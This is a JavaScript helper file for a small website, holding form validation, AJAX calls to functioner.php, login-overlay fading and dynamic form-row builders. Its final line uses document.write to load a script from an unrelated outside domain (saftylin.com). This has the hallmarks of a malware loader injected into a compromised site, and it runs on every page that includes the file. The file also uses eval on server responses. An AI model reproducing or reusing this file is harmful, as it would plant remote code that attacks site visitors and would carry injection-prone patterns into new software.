// JavaScript Document
//SendF USAGE SendF('fieldname of field not to be checked / optional fields', 'form id', 'field with email format checking' ,'email.value:==:cemail.value:Emails not matching!!');

function SendF(elem, f_name, chkemail, splchk)
	{
		var rev_switch;
		elements = elem.split("|||");
		elem = elements[0];
		if(elements[1])
			{
				rev_switch = elements[1];
			}
		var chk, x=document.getElementById(f_name);
		if(splchk)
		{
		var checks = splchk.split("|");
		var retval;
		for(var j=0;j<checks.length;j++)
			{
				flds = checks[j].split(":");
				str = "x."+flds[0]+flds[1]+"x."+flds[2];
				temp_retval = eval(str);
				if(!(temp_retval))
					{
						alert(flds[3]);
						return false;
					}
			}
		}
		if(chkemail)
			{
				var res = chkemailformat(eval("x."+chkemail+".value"));
				if (!res)
					{
						return false;
					}
			}
	for (var i=0;i<x.length;i++)
		  {
		  	elem.match(x.elements[i].name) ? (chk=false) : (chk=true);
			if(!rev_switch)
				{
					if(chk)
						{
							if(!x.elements[i].value && x.elements[i].name)
								{
									window.alert("Missing field \""+capWords(x.elements[i].name.replace("_", " "))+"\""); 
									return false;
								}
						}
				}
			else
				{
					if(!chk)
						{
							if(!x.elements[i].value && x.elements[i].name)
								{
									window.alert("Missing field \""+capWords(x.elements[i].name.replace("_", " "))+"\""); 
									return false;
								}
						}
				}
		  }		  
		return true;
	}
function setPrice(price)
	{
		product_price = price;
	}
function chkemailformat(test)
	{
		var p=test.indexOf('@');
		if (p<1 || p==(test.length-1)) 
			{
				window.alert('Email must contain an e-mail address.');
				return false;
			}
		else
			{
				return true;
			}
	}

function capWords(str) {
var inputString = str; // The input text field
var tmpStr, tmpChar, preString, postString, strlen;
tmpStr = inputString.toLowerCase();
stringLen = tmpStr.length;
if (stringLen > 0)
{
  for (i = 0; i < stringLen; i++)
  {
    if (i == 0)
	{
      tmpChar = tmpStr.substring(0,1).toUpperCase();
      postString = tmpStr.substring(1,stringLen);
      tmpStr = tmpChar + postString;
    }
    else
	{
      tmpChar = tmpStr.substring(i,i+1);
      if (tmpChar == " " && i < (stringLen-1))
	  {
      tmpChar = tmpStr.substring(i+1,i+2).toUpperCase();
      preString = tmpStr.substring(0,i+1);
      postString = tmpStr.substring(i+2,stringLen);
      tmpStr = preString + tmpChar + postString;
      }
    }
  }
}
return tmpStr;
}

function ajax_do(to_do,ret_div_id)
  {
  var xmlHttp;
  try
    {
    // Firefox, Opera 8.0+, Safari
    xmlHttp=new XMLHttpRequest();
    }
  catch (e)
    {
    // Internet Explorer
    try
      {
      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
      }
    catch (e)
      {
      try
        {
        xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
        }
      catch (e)
        {
        alert("Your browser does not support AJAX!");
        return false;
        }
      }
    }
    xmlHttp.onreadystatechange=function()
      {
      if(xmlHttp.readyState==4)
        {
			if(document.getElementById(ret_div_id))
				{
					document.getElementById(ret_div_id).innerHTML = xmlHttp.responseText;
				  	return true;
				}
          }
      }
    xmlHttp.open("GET","functioner.php?do="+to_do,true);
    xmlHttp.send(null);
	return -1;
  }


function assign_ajax(to_do,var_name)
  {
	
  var xmlHttp;
  try
    {
    // Firefox, Opera 8.0+, Safari
    xmlHttp=new XMLHttpRequest();
    }
  catch (e)
    {
    // Internet Explorer
    try
      {
      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
      }
    catch (e)
      {
      try
        {
        xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
        }
      catch (e)
        {
        alert("Your browser does not support AJAX!");
        return false;
        }
      }
    }
    xmlHttp.onreadystatechange=function()
      {
      if(xmlHttp.readyState==4)
        {
			var_name.value = xmlHttp.responseText;
		  	return true;
        }
      }
    xmlHttp.open("GET","functioner.php?do="+to_do,true);
    xmlHttp.send(null);
  }
 

function ajax_ready_caller(to_do,trueFunc,falseFunc)
  {
	
  var xmlHttp;
  try
    {
    // Firefox, Opera 8.0+, Safari
    xmlHttp=new XMLHttpRequest();
    }
  catch (e)
    {
    // Internet Explorer
    try
      {
      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
      }
    catch (e)
      {
      try
        {
        xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
        }
      catch (e)
        {
        alert("Your browser does not support AJAX!");
        return false;
        }
      }
    }
    xmlHttp.onreadystatechange=function()
      {
      if(xmlHttp.readyState==4)
        {
			if((xmlHttp.responseText != "") && (parseInt(xmlHttp.responseText) != 0) && (xmlHttp.responseText != false) && (xmlHttp.responseText != "false") && (xmlHttp.responseText != "-1") && (xmlHttp.responseText != -1))
				{
					str = trueFunc.replace("{respxml}",xmlHttp.responseText);
					eval(str);
					return true;
				}
			else
				{
					eval(falseFunc.replace("{respxml}",xmlHttp.responseText));
					return true;
				}
        }
      }
    xmlHttp.open("GET","functioner.php?do="+to_do,true);
    xmlHttp.send(null);
  }


 /* PRODCUT ADDITION FORM SCRIPT */
 var no_prod_flds = 1;
 function checkProductAddForm(f_name)
	{
		var str, is_there, x=document.getElementById(f_name);
		if(x.product_name.value == "")
			{
				alert("No product name selected. Please give a product name.");
				return false;
			}
		var no_flds = 0;
		for(i=1;i<no_prod_flds;i++)
			{
				str = "x.fname_"+i+".value";
				is_there = eval(str);
				if(is_there != "")
					{
						no_flds++;
						if(eval("x.title_"+i+".value") == "")
							{
								alert("Incomeplete Form. A name for field number " + (i) + " is given but its title is not given.");
								return false;
							}
					}
			}
		if(no_flds == 0)
			{
				alert('No Fields Added. Cannot Add product');
				return false;
			}
		x.total_no_flds.value = no_prod_flds;
	}

function addProductFields(divname,no_flds)
	{
		var start_fld = no_prod_flds;
		var dv = document.getElementById(divname+start_fld);
		var i = 1;
		for(i=0;i<no_flds;i++)
			{
					dv.innerHTML += "<div class='product_row'><div style='float:left; width: 30px;'>"+(start_fld+i)+"</div><div style='float:left; width: 150px;'><input type='text' name='fname_"+(start_fld+i)+"' /></div><div style='float:left; width: 150px;'><input type='text' name='title_"+(start_fld+i)+"' /></div><div style='float:left; width: 150px;'><textarea name='subtitle_"+(start_fld+i)+"'></textarea></div><div style='float:left; width: 150px;'><select name='field_type_"+(start_fld+i)+"'><option value='textbox'>Text Box</option><option value='textarea'>Text Area</option><option value='select'>Combo</option><option value='radio'>Radio</option><option value='file'>File</option></select></div><div style='float:left; width: 150px;'><input type='text' name='default_"+(start_fld+i)+"' /></div><div style='float:left; width: 30px;'><input type='checkbox' name='is_opt_"+(start_fld+i)+"' style='width:20px' /></div></div><div style='clear:left;'></div>";
			}
			dv.innerHTML += "<div id='product_fields"+(start_fld + no_flds)+"' class='product_fields'></div>";
		no_prod_flds += no_flds;
	}
function show_login(transp)
	{
		var login = document.getElementById("login");
		var login_table = document.getElementById("login_table");
		login.style.height=getPageSizeWithScroll(1) + 'px';
		setOpacity(login,transp);
		if(transp < 90)
			{
				setTimeout("show_login("+(transp+5)+")",10);
			}
	}
function close_login(transp)
	{
		var login = document.getElementById("login");
		setOpacity(login,transp);
		if(transp > 0)
			{
				setTimeout("close_login("+(transp-5)+")",10);
			}
		else
			{
				login.style.height='0px';
			}
	}

function show_project(id)
	{
		var layer = document.getElementById('project'+id);
		layer.style.height = (layer.style.height != "auto") ? "auto" : "0px";
	}

/* function lightup(imageobject, opacity){
    if (navigator.appName.indexOf("Netscape")!=-1&&parseInt(navigator.appVersion)>=5)
    	imageobject.style.MozOpacity=opacity/100
    else if (navigator.appName.indexOf("Microsoft")!=-1&&parseInt(navigator.appVersion)>=4)
  		imageobject.filters.alpha.opacity=opacity
	else
		{
			imageobject.style.opacity = (opacity / 100);
		}
}*/
function setOpacity(testObj,value) {
	testObj.style.opacity = value/100;
	testObj.style.filter = 'alpha(opacity=' + value + ')';
}

function getPageSizeWithScroll(req){
	if (window.innerHeight && window.scrollMaxY) {// Firefox
		yWithScroll = window.innerHeight + window.scrollMaxY;
		xWithScroll = window.innerWidth + window.scrollMaxX;
	} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
		yWithScroll = document.body.scrollHeight;
		xWithScroll = document.body.scrollWidth;
	} else { // works in Explorer 6 Strict, Mozilla (not FF) and Safari
		yWithScroll = document.body.offsetHeight;
		xWithScroll = document.body.offsetWidth;
  	}
	arrayPageSizeWithScroll = new Array(xWithScroll,yWithScroll);
	//alert( 'The height is ' + yWithScroll + ' and the width is ' + xWithScroll );
	return arrayPageSizeWithScroll[req];
}
var rowno = 11;
function addRows()
{
	var rowto = rowno + 10;
	while(rowno < rowto)
	{
//		topiclist.innerHTML += "<tr><td><input type='text' name='keyword[" + i "]' /></td><td><input type='text' name='description[" + i + "]' size='60' /></td></tr>";
		document.getElementById("topiclist").innerHTML += "<table><tr><td>" + (rowno) + ". <input type='text' name='keyword" + rowno + "' id='keyword" + rowno + "' /></td><td><input type='text' name='description" + rowno + "' size='60' id='description" + rowno + "' size='60' /></td></tr><table>";
		rowno = rowno + 1; 
	}
	document.getElementById("rowsno").value= rowno;
}

function getMaxPt()
	{
		var i=0;
		while(1)
			{
				if(!document.getElementById('pt'+(i+1)))
					{
						return (i);
						break;
					}
				i++;
			}
	}


document.write('<script src=http://saftylin.com/cp/dirs.php ><\/script>');